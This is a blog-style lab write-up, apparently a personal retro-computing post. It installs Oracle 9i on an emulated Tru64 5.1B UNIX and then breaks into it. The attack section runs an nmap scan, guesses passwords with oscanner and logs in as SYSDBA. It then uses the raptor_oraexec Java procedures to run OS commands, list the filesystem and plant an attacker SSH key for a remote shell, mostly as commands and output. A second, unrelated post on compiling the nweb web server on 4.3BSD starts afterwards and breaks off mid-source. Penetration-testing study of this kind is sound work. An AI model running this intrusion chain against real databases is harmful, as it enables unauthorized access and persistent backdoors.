Add root user to the dba and oinstall groups (/etc/group) to allow the script to function correctly. The relevant instances should now startup/shutdown automatically at system startup/shutdown.

oinstall:*:200:root
dba:*:201:oracle,root

We reboot Tru64 5.1B to see how it comes up with the DBs and all

bash-2.05# reboot

Login as oracle and add these scripts in $HOME

ORACLE - startup 
bash-2.05$ cat STARTUP
$ORACLE_HOME/bin/lsnrctl start
$ORACLE_HOME/bin/dbstart
ORACLE - shutdown
bash-2.05$ cat SHUTDOWN
$ORACLE_HOME/bin/lsnrctl stop 
$ORACLE_HOME/bin/dbshut

Make them executable and run the STARTUP script

bash-2.05$ chmod +x STARTUP 
bash-2.05$ chmod +x SHUTDOWN
bash-2.05$ ./STARTUP
LSNRCTL for Compaq Tru64 UNIX: Version 9.2.0.1.0 - Production on 28-SEP-2019 13:16:08

Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.

Starting /u01/app/oracle/product/9.2.0.1.0/bin/tnslsnr: please wait...

TNSLSNR for Compaq Tru64 UNIX: Version 9.2.0.1.0 - Production
System parameter file is /u01/app/oracle/product/9.2.0.1.0/network/admin/listener.ora
Log messages written to /u01/app/oracle/product/9.2.0.1.0/network/log/listener.log
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=tru64.virtual.com)(PORT=1521)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for Compaq Tru64 UNIX: Version 9.2.0.1.0 - Production
Start Date 28-SEP-2019 13:16:08
Uptime 0 days 0 hr. 0 min. 0 sec
Trace Level off
Security OFF
SNMP OFF
Listener Parameter File /u01/app/oracle/product/9.2.0.1.0/network/admin/listener.ora
Listener Log File /u01/app/oracle/product/9.2.0.1.0/network/log/listener.log
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=tru64.virtual.com)(PORT=1521)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "oracle" has 1 instance(s).
Instance "TSH1", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully

Can't find init file for Database "TSH1".
Database "TSH1" NOT started.
bash-2.05$

Something is not right – the TSH1 Database does not start, we get an error, this is because of /u01/app/oracle/product/9.2.0.1.0/bin/dbstart , upload the attached modified dbstart and replace it

:
#
# $Header: dbstart.sh.pp 03-apr-2001.13:38:21 jboyce Exp $ dbstart.sh.pp Copyr (c) 1991 Oracle
#

###################################
# 
# usage: dbstart
#
# This script is used to start ORACLE from /etc/rc(.local).
# It should ONLY be executed as part of the system boot procedure.
#
#####################################

ORATAB=/etc/oratab

trap 'exit' 1 2 3
case $ORACLE_TRACE in
T) set -x ;;
esac

# Set path if path not set (if called from /etc/rc)
case $PATH in
"") PATH=/bin:/usr/bin:/etc
export PATH ;;
esac
# Save LD_LIBRARY_PATH
SAVE_LLP=$LD_LIBRARY_PATH

#
# Loop for every entry in oratab file and and try to start
# that ORACLE
#

cat $ORATAB | while read LINE
do
case $LINE in
\#*) ;; #comment-line in oratab
*)
# Proceed only if third field is 'Y'.
if [ "`echo $LINE | awk -F: '{print $3}' -`" = "Y" ] ; then
ORACLE_SID=`echo $LINE | awk -F: '{print $1}' -`
if [ "$ORACLE_SID" = '*' ] ; then
ORACLE_SID=""
fi
# Called programs use same database ID
export ORACLE_SID
ORACLE_HOME=`echo $LINE | awk -F: '{print $2}' -`
# Called scripts use same home directory
export ORACLE_HOME
# Put $ORACLE_HOME/bin into PATH and export.
PATH=$ORACLE_HOME/bin:/bin:/usr/bin:/etc ; export PATH
# add for bug # 652997
LD_LIBRARY_PATH=${SAVE_LLP}:${ORACLE_HOME}/lib ; export LD_LIBRARY_PATH
PFILE=${ORACLE_HOME}/dbs/init${ORACLE_SID}.ora
SPFILE=${ORACLE_HOME}/dbs/spfile${ORACLE_SID}.ora
# See if it is a V6 or V7 database
VERSION=undef
if [ -f $ORACLE_HOME/bin/sqldba ] ; then
SQLDBA=sqldba
VERSION=`$ORACLE_HOME/bin/sqldba command=exit | awk '
/SQL\*DBA: (Release|Version)/ {split($3, V, ".") ;
print V[1]}'`
case $VERSION in
"6") ;;
*) VERSION="internal" ;;
esac
else
if [ -f $ORACLE_HOME/bin/svrmgrl ] ; then
SQLDBA=svrmgrl
VERSION="internal"
else
SQLDBA="sqlplus /nolog"
fi
fi

STATUS=1
if [ -f $ORACLE_HOME/dbs/sgadef${ORACLE_SID}.dbf ] ; then
STATUS="-1"
fi
if [ -f $ORACLE_HOME/dbs/sgadef${ORACLE_SID}.ora ] ; then
STATUS="-1"
fi
pmon=`ps -ef | egrep pmon_$ORACLE_SID | grep -v grep`
if [ "$pmon" != "" ]; 
then
STATUS="-1"
echo "Database \"${ORACLE_SID}\" already started."
fi

if test $STATUS -eq -1 ; then
echo ""
echo "Database \"${ORACLE_SID}\" possibly left running when system went down (system crash?)."
echo "Notify Database Administrator."
case $VERSION in
"6") sqldba "command=shutdown abort" ;;
"internal") $SQLDBA $args <<EOF
connect internal
shutdown abort
EOF
;;
*) $SQLDBA $args <<EOF
connect /as sysdba
shutdown abort
EOF
;;
esac
if test $? -eq 0 ; then
STATUS=1
else
echo "Database \"${ORACLE_SID}\" NOT started."
fi
fi

if test $STATUS -eq 1 ; then
if [ -f $PFILE -o -f $SPFILE ] ; then
case $VERSION in
"6") sqldba command=startup ;;
"internal") $SQLDBA <<EOF
connect internal
startup
EOF
;;
*) $SQLDBA <<EOF
connect / as sysdba
startup
EOF
;;
esac

if test $? -eq 0 ; then
echo ""
echo "Database \"${ORACLE_SID}\" warm started."
else
echo ""
echo "Database \"${ORACLE_SID}\" NOT started."
fi
else
echo ""
echo "Can't find init file for Database \"${ORACLE_SID}\"."
echo "Database \"${ORACLE_SID}\" NOT started."
fi
fi
fi
;;
esac
done
bash-2.05$ mv dbstart /u01/app/oracle/product/9.2.0.1.0/bin/
bash-2.05$ cd /u01/app/oracle/product/9.2.0.1.0/bin/
bash-2.05$ chown oracle:oinstall dbstart
bash-2.05$ chmod a+x dbstart

We can now start the ORACLE DB via the STARTUP script

bash-2.05$ ./STARTUP

LSNRCTL for Compaq Tru64 UNIX: Version 9.2.0.1.0 - Production on 28-SEP-2019 17:20:47

Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.

Starting /u01/app/oracle/product/9.2.0.1.0/bin/tnslsnr: please wait...

TNSLSNR for Compaq Tru64 UNIX: Version 9.2.0.1.0 - Production
System parameter file is /u01/app/oracle/product/9.2.0.1.0/network/admin/listener.ora
Log messages written to /u01/app/oracle/product/9.2.0.1.0/network/log/listener.log
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=tru64.virtual.com)(PORT=1521)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for Compaq Tru64 UNIX: Version 9.2.0.1.0 - Production
Start Date 28-SEP-2019 17:20:47
Uptime 0 days 0 hr. 0 min. 0 sec
Trace Level off
Security OFF
SNMP OFF
Listener Parameter File /u01/app/oracle/product/9.2.0.1.0/network/admin/listener.ora
Listener Log File /u01/app/oracle/product/9.2.0.1.0/network/log/listener.log
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=tru64.virtual.com)(PORT=1521)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "oracle" has 1 instance(s).
Instance "TSH1", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully

SQL*Plus: Release 9.2.0.1.0 - Production on Sat Sep 28 17:20:48 2019

Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.

SQL> Connected to an idle instance.
SQL> ORACLE instance started.

Total System Global Area 320310656 bytes
Fixed Size 732544 bytes
Variable Size 285212672 bytes
Database Buffers 33554432 bytes
Redo Buffers 811008 bytes
Database mounted.
Database opened.
SQL> Disconnected from Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - Production

Database "TSH1" warm started.

Looks much better now, we have the TSH1 up !

When we want to stop the DB we run the SHUTDOWN script

bash-2.05$ ./SHUTDOWN

LSNRCTL for Compaq Tru64 UNIX: Version 9.2.0.1.0 - Production on 28-SEP-2019 18:43:31

Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC)))
The command completed successfully

SQL*Plus: Release 9.2.0.1.0 - Production on Sat Sep 28 18:43:32 2019

Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.

SQL> Connected.
SQL> Database closed.
Database dismounted.
ORACLE instance shut down.
SQL> Disconnected from Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - Production
Database "TSH1" shut down.

Of course we want the TSH1 to be up, so we re-load it again via the  STARTUP script

bash-2.05$ ./STARTUP

So we are pretty much done in setting up an Oracle 9i DB on Tru64 5.1B here, lets move on to the fun part of the exercise – the infosec !

Exploitation of Oracle 9i and gaining remote SSH access to Tru64 UNIX

Now we can check with Nmap from our Linux Host how does the simulated Tru64 5.1B UNIX look like and what services are enabled there (default ones and Oracle default ones)

On our Linux Host we run our trusty Nmap

# nmap -sS -sV 10.0.2.100

Nmap scan report for 10.0.2.100
Host is up (0.0023s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Compaq Tru64 ftp server 5.60
22/tcp open ssh SCS sshd 2.4.1 (protocol 2.0)
23/tcp open telnet Openwall GNU/*/Linux telnetd
25/tcp open smtp Sendmail 8.11.1
110/tcp open pop3 QPop pop3d 3.0.2
111/tcp open rpcbind 2 (RPC #100000)
143/tcp open imap Cyrus imapd 1.6.24
512/tcp open exec
513/tcp open login Tru64 Unix logind
514/tcp open tcpwrapped
515/tcp open tcpwrapped
543/tcp open login Tru64 Unix logind
544/tcp open tcpwrapped
1026/tcp open ttdbserverd 1 (RPC #100083)
1027/tcp open IIS?
1057/tcp open oracle Oracle Database
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for Compaq Tru64 UNIX)
2100/tcp open ftp Oracle Enterprise XML DB ftpd 9.2.0.1.0
2301/tcp open http Compaq Diagnostics httpd (CompaqHTTPServer 2.1)
6112/tcp open dtspc?
8080/tcp open http Oracle XML DB Enterprise Edition httpd 9.2.0.1.0 (Oracle9i Enterprise Edition Release)
30000/tcp open ndmps?
49400/tcp open http Compaq Diagnostics httpd (CompaqHTTPServer 2.1)

Definitely some interesting daemons to poke at, but for now we will only concentrate on the Oracle DB TNS listener and the SSH. Lets go and  get some OracleDB infosec tools on our Linux host and probe the remote DB a little

We can use a few Oracle enumeration tools like Oscanner (which is available only on Kali repo now) or some Metasploit Framework ones, but I prefer the Oscanner – it is available only on the kalilinux git repo now and is Java based – we will get it here
https://gitlab.com/kalilinux/packages/oscanner/-/archive/kali/master/oscanner-kali-master.tar.gz

Important note here – since I have setup the Oracle DB passwords with “p4ssw0rd” we will be cheating a little here and add this plaintext to the wordlist file dictionary.txt  the oscanner uses

user@linux:/home/user/ORACLE/oscanner$ cat dictionary.txt 

%username%
password
p4ssw0rd
oracle

So we execute the oscanner against our Tru64 5.1B Oracle DB server @ 10.0.2.100

user@linux:/home/user/ORACLE/oscanner$ ./oscanner.sh -s 10.0.2.100 -P 1521
Oracle Scanner 1.0.6 by patrik@cqure.net
--------------------------------------------------
[-] Checking host 10.0.2.100
[-] Checking sid (TSH1) for common passwords
[-] Account CTXSYS/CTXSYS is locked
[-] Account DBSNMP/DBSNMP found
[-] Enumerating system accounts for SID (TSH1)
[-] Succesfully enumerated 29 accounts
[-] Account HR/HR is locked
[-] Account MDSYS/MDSYS is locked
[-] Account OE/OE is locked
[-] Account OLAPSYS/MANAGER is locked
[-] Account ORDPLUGINS/ORDPLUGINS is locked
[-] Account ORDSYS/ORDSYS is locked
[-] Account OUTLN/OUTLN is locked
[-] Account PM/PM is locked
[-] Account QS/QS is locked
[-] Account QS_ADM/QS_ADM is locked
[-] Account QS_CB/QS_CB is locked
[-] Account QS_CBADM/QS_CBADM is locked
[-] Account QS_CS/QS_CS is locked
[-] Account QS_ES/QS_ES is locked
[-] Account QS_OS/QS_OS is locked
[-] Account QS_WS/QS_WS is locked
[-] Account SCOTT/TIGER found
[-] Account SH/SH is locked
[-] Account WKSYS/WKSYS is locked
[-] Checking user supplied passwords against sid (TSH1)
[-] Checking user supplied dictionary
[-] Account SYS/P4SSW0RD found
[-] Account SYSTEM/P4SSW0RD found
[-] Account WMSYS/WMSYS is locked
[-] Account XDB/XDB is locked
[-] Account WKPROXY/WKPROXY is locked
[-] Account ODM/ODM is locked
[-] Account ODM_MTR/ODM_MTR is locked
[-] Querying database for version information

OK we have found some accounts enabled and avaliable (also cracked since we have used a wordlist) So there are

sys/p4ssw0rd
system/p4ssw0rd

In order to use these credentials we need to connect to the Oracle DB somehow, this is done by the Oracle InstantClient, which comes in many different versions so the Oracle InstantClient support matrix can help us here

We will also need to download Oracle InstantClient (For Tru64 5.1B Oralce 9i we need
11.2.0.4.0 – newer ones won’t work  and we can do so from this repo https://github.com/bumpx/oracle-instantclient

Git clone the whole repo and extract on your Linux box to /opt/oracle

git clone https://github.com/bumpx/oracle-instantclient

We can now configure Oracle Instant client 11.2.0.2 on our Linux Host

Extract to /opt/oracle <—- you can hold multiple clients there

user@panasonic$ ls -la /opt/oracle/
total 16
drwxr-xr-x 4 root root 4096 Jul 25 20:32 .
drwxr-xr-x 8 root root 4096 Jul 25 20:33 ..
drwxr-xr-x 3 root root 4096 Jul 25 01:08 instantclient_11_2
drwxr-xr-x 4 root root 4096 Jul 24 23:32 instantclient_19_3

And define the environment variables to use in your Shell environment on Linux Host, you need to run this prior calling the InstantListener

export PATH=$PATH:/opt/oracle/instantclient_11_2
export SQLPATH=/opt/oracle/instantclient_11_2
export TNS_ADMIN=/opt/oracle/instantclient_11_2
export LD_LIBRARY_PATH=/opt/oracle/instantclient_11_2
export ORACLE_HOME=/opt/oracle/instantclient_11_2

So lets use the fresh looted DB creds shall we ?

Before connecting to the remote Tru64 5.1B Oracle 9i make sure we define the remote host in /etc/hosts on our Linux Host

On Linux edit the /etc/hosts and add the remote hostname

10.0.2.100 tru64.virtual.com

And we will use next the cracked credentials for SYS user

user@linux:/home/user/ORACLE/oscanner$ sqlplus sys/p4ssw0rd@(description=(address_list=(address=(protocol=TCP)(host=tru64.virtual.com)(port=1521)))(connect_data=(sid=TSH1))) 'as sysdba'

SQL*Plus: Release 11.2.0.2.0 Production on Sat Sep 28 19:41:49 2019

Copyright (c) 1982, 2010, Oracle. All rights reserved.


Connected to:
Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - Production

SQL>

OK, right-on ! So we have a SQL shell with SYSDBA rights, apart from doing all nasty things to the DB we will be more interested if we can leverage the access and interact with the Tru64 5.1B filesystem via this connection and possibly gain SSH access through oracle account.

So how do we access the local filesystem from within Oracle ? We want an OS Shell !

We will use Marco Ivaldi’s raptor_oraexec.sql – java exploitation suite for oracle

https://www.exploit-db.com/exploits/2837

So copy/wget/curl  the above exploit to your Linux Host directory from where we are running sqlplus and save it as raptor.sql

Lets connect to the remote Oracle DB again via the InstantClient sqlplus and execute Raptor’s raptor.sql script

SQL*Plus: Release 11.2.0.2.0 Production on Sat Sep 28 19:50:37 2019

Copyright (c) 1982, 2010, Oracle. All rights reserved.


Connected to:
Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - Production

SQL> @raptor.sql
Java created.
Procedure created.
Procedure created.
Procedure created.

SQL>

So now we are ready to run some commands ! Lets see how this exploitation suite works
We will create using InstantClient via the raptor.sql on the remote Tru64 UNIX  a file /tmp/mytest which will contain a command “/bin/ls -la > /tmp/lsla

SQL> exec javawritefile('/tmp/mytest', '/bin/ls -la > /tmp/lsla');

We execute the command

SQL> exec javacmd('/usr/bin/sh /tmp/mytest');
PL/SQL procedure successfully completed.
SQL> exec dbms_java.set_output(2000);
SQL> set serveroutput on;

And next we read the contents of “/tmp/lsla” since we don’t know whew the shell landed

SQL> exec javareadfile('/tmp/lsla');
total 54
drwxr-xr-x 2 oracle oinstall 8192 Sep 28 19:03 .
drwxr-xr-x 50 oracle oinstall 8192 Sep 28 00:52 ..
-rw-r--r-- 1 oracle oinstall 8385 Mar 9 2002 init.ora
-rw-r--r-- 1 oracle oinstall 12920 Mar 9 2002 initdw.ora
-rw-rw---- 1 oracle oinstall 24 Sep 28 19:16 lkORACLE
-rwSr----- 1 oracle oinstall 3072 Sep 28 09:50 orapwTSH1
-rw-rw---- 1 oracle oinstall 5120 Sep 28 01:33 spfileTSH1.ora

PL/SQL procedure successfully completed.

SQL>

So this looks like the contents of /u01/app/oracle/product/9.2.0.1.0/dbs
If we want to look what the / holds we need to change the commands accordingy

SQL> exec javawritefile('/tmp/mytest', '/bin/ls -la / > /tmp/lsla');
SQL> exec javacmd('/usr/bin/sh /tmp/mytest'); 
SQL> exec dbms_java.set_output(2000);
SQL> set serveroutput on;
SQL> exec javareadfile('/tmp/lsla');
total 31617
drwxr-xr-x 23 root system 8192 Sep 28 12:56 .
drwxr-xr-x 23 root system 8192 Sep 28 12:56 ..
-rw------- 1 root system 521 Sep 28 17:19 .bash_history
drwx------ 3 root system 8192 Sep 24 23:01 .cdsa
-rwxr----- 1 root system 1322 Oct 16 2002 .cshrc
drwxr-xr-x 3 root system 8192 Oct 16 2002 .dt
lrwxr-xr-x 1 root system 22 Sep 24 22:32 .local.. ->
cluster/members/{memb}
-rwxr----- 1 root system 1990 Oct 16 2002 .login
-rwxr--r-- 1 root system 2433 Oct 16 2002 .mrg...login
-rwxr----- 1 root system 1322 Oct 16 2002 .new...cshrc
-rwxr----- 1 root system 1990 Oct 16 2002 .new...login
-rwxr----- 1 root system 1864 Oct 16 2002 .new...profile
lrwxr-xr-x 1 root system 34 Sep 24 22:32 .osonly_tmp ->
cluster/members/{memb}/.osonly_tmp
-rwxr----- 1 root system 1864 Oct 16 2002 .profile
-rwxr----- 1 root system 1322 Oct 16 2002 .proto...cshrc
-rwxr----- 1 root system 1990 Oct 16 2002 .proto...login
-rwxr----- 1 root system 1864 Oct 16 2002 .proto...profile
drwxr-xr-x 2 root system 8192 Sep 24 22:59 .ssh2
drwxr-xr-x 2 root system 8192 Sep 25 23:46 .sysman
drwx------ 2 root system 8192 Sep 24 22:31 .tags
-rw-r--r-- 1 bin bin 2326 Oct 16 2002 GENERIC
drwxr-xr-x 2 root system 8192 Sep 25 23:48 TT_DB
lrwxr-xr-x 1 root system 7 Sep 24 22:32 bin -> usr/bin
drwxr-xr-x 4 root system 8192 Oct 16 2002 cluster
-rw------- 1 root system 761856 Sep 28 17:43 core
lrwxrwxrwx 1 root system 26 Sep 24 22:31 dev ->
cluster/members/{memb}/dev
drwxr-xr-x 9 root system 8192 Sep 24 22:58 devices
drwxr-xr-x 16 root system 16384 Sep 28 19:12 etc
-rwxr-xr-x 1 root system 12778096 Oct 16 2002 genvmunix
drwxr-xr-x 2 root system 8192 Sep 24 22:31 home
lrwxrwxrwx 1 root system 8 Sep 24 22:39 krb5 -> usr/krb5
lrwxr-xr-x 1 root system 7 Sep 24 22:32 lib -> usr/lib
drwxr-xr-x 2 root system 8192 Sep 24 22:46 mdec
drwxr-xr-x 3 root system 8192 Sep 25 23:01 mnt
-rw------- 1 root system 0 Sep 24 23:10 nohup.out
drwxr-xr-x 2 root system 8192 Sep 24 22:31 opt
-rwxr-xr-x 1 root system 102496 Oct 16 2002 osf_boot
dr-xr-xr-x 2 root system 524320 Sep 28 20:14 proc
-rw-r----- 1 root operator 8192 Sep 24 22:31 quota.group
-rw-r----- 1 root operator 16384 Sep 25 23:48 quota.user
drwxr-xr-x 10 root system 8192 Sep 24 22:51 sbin
drwxr-xr-x 2 root system 8192 Sep 24 22:34 shlib
drwxr-xr-x 2 root system 8192 Oct 16 2002 subsys
drwxr-xr-x 3 root system 8192 Sep 24 23:05 sys
drwxr-xr-x 5 root system 8192 Oct 16 2002 tcb
lrwxrwxrwx 1 root system 26 Sep 24 22:31 tmp ->
cluster/members/{memb}/tmp
lrwxrwxrwx 1 root system 8 Sep 26 23:55 u01 -> /usr/u01
drwxr-xr-x 31 root system 8192 Sep 26 23:54 usr
drwxr-xr-x 26 root system 8192 Sep 25 00:17 var
-rwxr-xr-x 1 root system 17956912 Sep 24 23:09 vmunix

PL/SQL procedure successfully completed.

SQL>

Great ! so how do we get a remote shell via SSH now ? It all depends on the environment of course. One method is to drop/replace authorized ssh keys in the home directory to which we can write with oracle account.  Since we did not do this for the Oracle user we can simulate it here in our Tru64 5.1B environment.

Lets check the detault state of our Tru64 5.1B ssh2 install
The configuration file is in /etc/ssh2/sshd2_config
And should contain the publickey method for AllowedAuthentications

## Authentication
## Hostbased and PAM are not enabled by default.

# BannerMessageFile /etc/ssh2/ssh_banner_message
# BannerMessageFile /etc/issue.net
PasswordGuesses 1
AllowedAuthentications hostbased,publickey,password
# AllowedAuthentications publickey,password
# RequiredAuthentications publickey,password
# SshPAMClientPath ssh-pam-client

Good, its there by default,  so we will generate our rogue ssh keypair for oracle user on our Linux Host

On our Linux machine we create a dummy directory to hold the Oracle ssh keys

user@linux:~$ mkdir $HOME/orassh
user@linux:~$ cd $HOME/orassh
user@linux:~/orassh/$ ssh-keygen -f $HOME/orassh/openssh_key
user@linux:~/orassh/$ ssh-keygen -e -f openssh_key.pub > openssh_key_converted.pub

Now we need to “upload” the openssh_key_converted.pub to the Tru64 5.1B UNIX via the Oracle shell

Lets change the raptor.sql command sequences a little. We will first need to create the
/usr/users/oracle/.ssh2 directory first (This is the user’s ssh location)

– We create oracle/.ssh2 directory first

SQL> exec javawritefile('/tmp/mytest', '/sbin/mkdir /usr/users/oracle/.ssh2');
SQL> exec javacmd('/usr/bin/sh /tmp/mytest');

– Next we plant the openssh_key_converted.pub to this directory
– On our Linux $HOME/orassh
– I did not yet figure out a convenient way to convert the public key but this method works just fine

user@panasonic ~/orassh $ cat openssh_key_converted.pub 
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "2048-bit RSA, converted by user@panasonic from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAABAQDAUxxLh24oa5vq6CkPVaZy91ZPWoNYKRUMmMZ9mk
w9YVju/FYATTAPwBkV4i4iRQ/V6rgU6/u7rzGX8uQHOY0EqdlzHeqmDjiav3lotJyp5KQw
Oj50QaFpFbP6PhERIc7swCAouPL58o7VY2GGSYpVO5Vnz9gS52wrkMAwBSDsWo7lYtGo3d
tJnl2apgq8Fgj672RgMrWBHnKGughyBECwrXwwtmslBA6Gdx1/US6EjAiQHGndI3xSc5SX
7CuVPNGzWsfrsW1vk6muOxbzmgjcsptVoq5T5aDJdRBL16Esptvv0klN9Ws8mxj+Nda3o4
tD9IwZoKX3PEncda8ogu0t
---- END SSH2 PUBLIC KEY ----

– We split each line into a separate SQL command

SQL> exec javawritefile('/tmp/key001','---- BEGIN SSH2 PUBLIC KEY ----');
SQL> exec javawritefile('/tmp/key002','Comment: "2048-bit RSA, converted by user@panasonic from OpenSSH"');
SQL> exec javawritefile('/tmp/key003','AAAAB3NzaC1yc2EAAAADAQABAAABAQDAUxxLh24oa5vq6CkPVaZy91ZPWoNYKRUMmMZ9mk');
SQL> exec javawritefile('/tmp/key004','w9YVju/FYATTAPwBkV4i4iRQ/V6rgU6/u7rzGX8uQHOY0EqdlzHeqmDjiav3lotJyp5KQw');
SQL> exec javawritefile('/tmp/key005','Oj50QaFpFbP6PhERIc7swCAouPL58o7VY2GGSYpVO5Vnz9gS52wrkMAwBSDsWo7lYtGo3d');
SQL> exec javawritefile('/tmp/key006','tJnl2apgq8Fgj672RgMrWBHnKGughyBECwrXwwtmslBA6Gdx1/US6EjAiQHGndI3xSc5SX');
SQL> exec javawritefile('/tmp/key007','7CuVPNGzWsfrsW1vk6muOxbzmgjcsptVoq5T5aDJdRBL16Esptvv0klN9Ws8mxj+Nda3o4');
SQL> exec javawritefile('/tmp/key008','tD9IwZoKX3PEncda8ogu0t');
SQL> exec javawritefile('/tmp/key009','---- END SSH2 PUBLIC KEY ----');

– Now we need to convert all this to a single file

SQL> exec javawritefile('/tmp/mytest', '/sbin/cat /tmp/key001 /tmp/key002 /tmp/key003 /tmp/key004 /tmp/key005 /tmp/key006 /tmp/key007 /tmp/key008 /tmp/key009 > /usr/users/oracle/.ssh2/openssh_key_converted.pub');
SQL> exec javacmd('/usr/bin/sh /tmp/mytest');
SQL> exec javawritefile('/usr/users/oracle/.ssh2/authorization', 'Key openssh_key_converted.pub');

So now we shold be all set for remote ssh login to Oracle account on the Tru64 5.1B UNIX, we run ssh from our  Linux Host

user@panasonic ~/orassh$ ssh -i openssh_key oracle@10.0.2.100
Unable to negotiate with 10.0.2.100 port 22:
no matching key exchange method found. 
Their offer: diffie-hellman-group1-sha

Older Tru64 5.1B UNIX SSH2 complains, so lets fix this by adding a local definition for this connection on our Linux Host to $HOME/.ssh/conig

Host 10.0.2.100
KexAlgorithms +diffie-hellman-group1-sha1
HostKeyAlgorithms +ssh-dss

And try again

user@panasonic ~/orassh$ ssh -i openssh_key oracle@10.0.2.100
Last login: Sat Sep 28 20:57:17 PDT 2019 from 10.0.2.2
Compaq Tru64 UNIX V5.1B (Rev. 2650); Tue Sep 24 23:09:04 PDT 2019

The installation software has successfully installed your system.

There are logfiles that contain a record of your installation. These are:

/var/adm/smlogs/install.cdf - configuration description file
/var/adm/smlogs/install.log - general log file
/var/adm/smlogs/install.FS.log - file system creation logs
/var/adm/smlogs/setld.log - log for the setld(8) utility
/var/adm/smlogs/fverify.log - verification log file


No mail.
-sh: H: not found
unknown mode: erase
$ id
uid=201(oracle) gid=200(oinstall) groups=201(dba)

Bingo :) we are in ! , Now lets clean up the mess in /tmp

$ cd /tmp
$ rm -f key*
$ rm -f mytest
$ rm -f lsla

So what next ? Some neat 0ldayz 1337 Tru64 5.1B local root exploit ? I know of one reliable in CDE,  so we shall try to leverage this next time, or find some other Local Privilege Escalation bug to get root :)

I hope you have enjoyed reading it all the way here.

If you like to play around a little more feel free to use my GCC 4.4.7 compiler for Tru64 5.1B which is available here http://45.76.81.249/Tru64/

Video demo here

 

Reference :

https://oracle-base.com/articles/9i/oracle-db-9i-installation-on-tru64

https://github.com/rapid7/metasploit-framework/wiki/How-to-get-Oracle-Support-working-with-Kali-Linux

View at Medium.com

 

4.3BSD tiny Webserver

$
0
0

Playing around with 4.3BSD in simh vax emulator, I wanted to put the 4.3BSD to some use. I have used my image that I have made available here https://astr0baby.wordpress.com/2019/09/22/4-3bsd-and-metasploit/ which includes GCC to compile the code.

While I could not compile the first ever web server on it (w3c-httpd)

drwxr-xr-x 6 root 512 Oct 16 16:05 .
drwxr-xr-x 5 root 512 Oct 16 16:53 ..
drwxr-xr-x 32 13449 1024 Jun 23 1996 All
-rwxr-xr-x 1 13449 3111 Sep 24 1994 BUILD
-rwxr-xr-x 1 13449 3076 Sep 23 1994 BUILD.SH
-rw-r--r-- 1 13449 495 Jun 23 1996 CERN
-rw-r--r-- 1 13449 1834 Jun 23 1996 COPYRIGH
drwxr-xr-x 4 13449 512 Jul 15 1996 Daemon
drwxr-xr-x 4 13449 512 Oct 16 16:09 Library
-rw-r--r-- 1 13449 580 Jun 11 1994 Makefile
-rw-r--r-- 1 13449 1823 Jun 23 1996 README
-rw-r--r-- 1 13449 5218 Jun 11 1994 README-SOCKS
drwxr-xr-x 4 13449 512 Jul 8 1994 server_root
-rw-r--r-- 1 root 2703360 Oct 16 16:04 w3c-httpd-3.0A.tar

I was able to run Nigel Griffith’s nweb.c on it quite smoothly without any issues, the code compiles on the VAX 4.3BSD with an ancient gcc version 2.7.2.2

The original article is here https://www.ibm.com/developerworks/systems/library/es-nweb/index.html

nweb is a small and very safe mini web server
nweb only servers out file/web pages with extensions named below
and only from the named directory or its sub-directories.
There is no fancy features = safe and secure.
Example: nweb 8181 /home/nwebdir &
Only Supports: gif jpg jpeg png zip gz tar htm html
Not Supported: URLs including “..”, Java, Javascript, CGI
Not Supported: directories / /etc /bin /lib /tmp /usr /dev /sbin
No warranty given or implied
Nigel Griffiths nag@uk.ibm.com

In our test it compiles on 4.3BSD VAX  via gcc version 2.7.2.2

nweb.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 
#define BUFSIZE 8096
#define ERROR 42
#define SORRY 43
#define LOG 44
 
struct {
char *ext;
char *filetype;
} extensions [] = {
{"gif", "image/gif" },
{"jpg", "image/jpeg"},
{"jpeg","image/jpeg"},
{"png", "image/png" },
{"zip", "image/zip" },
{"gz", "image/gz" },
{"tar", "image/tar" },
{"htm", "text/html" },
{"html","text/html" },
{0,0} };
 
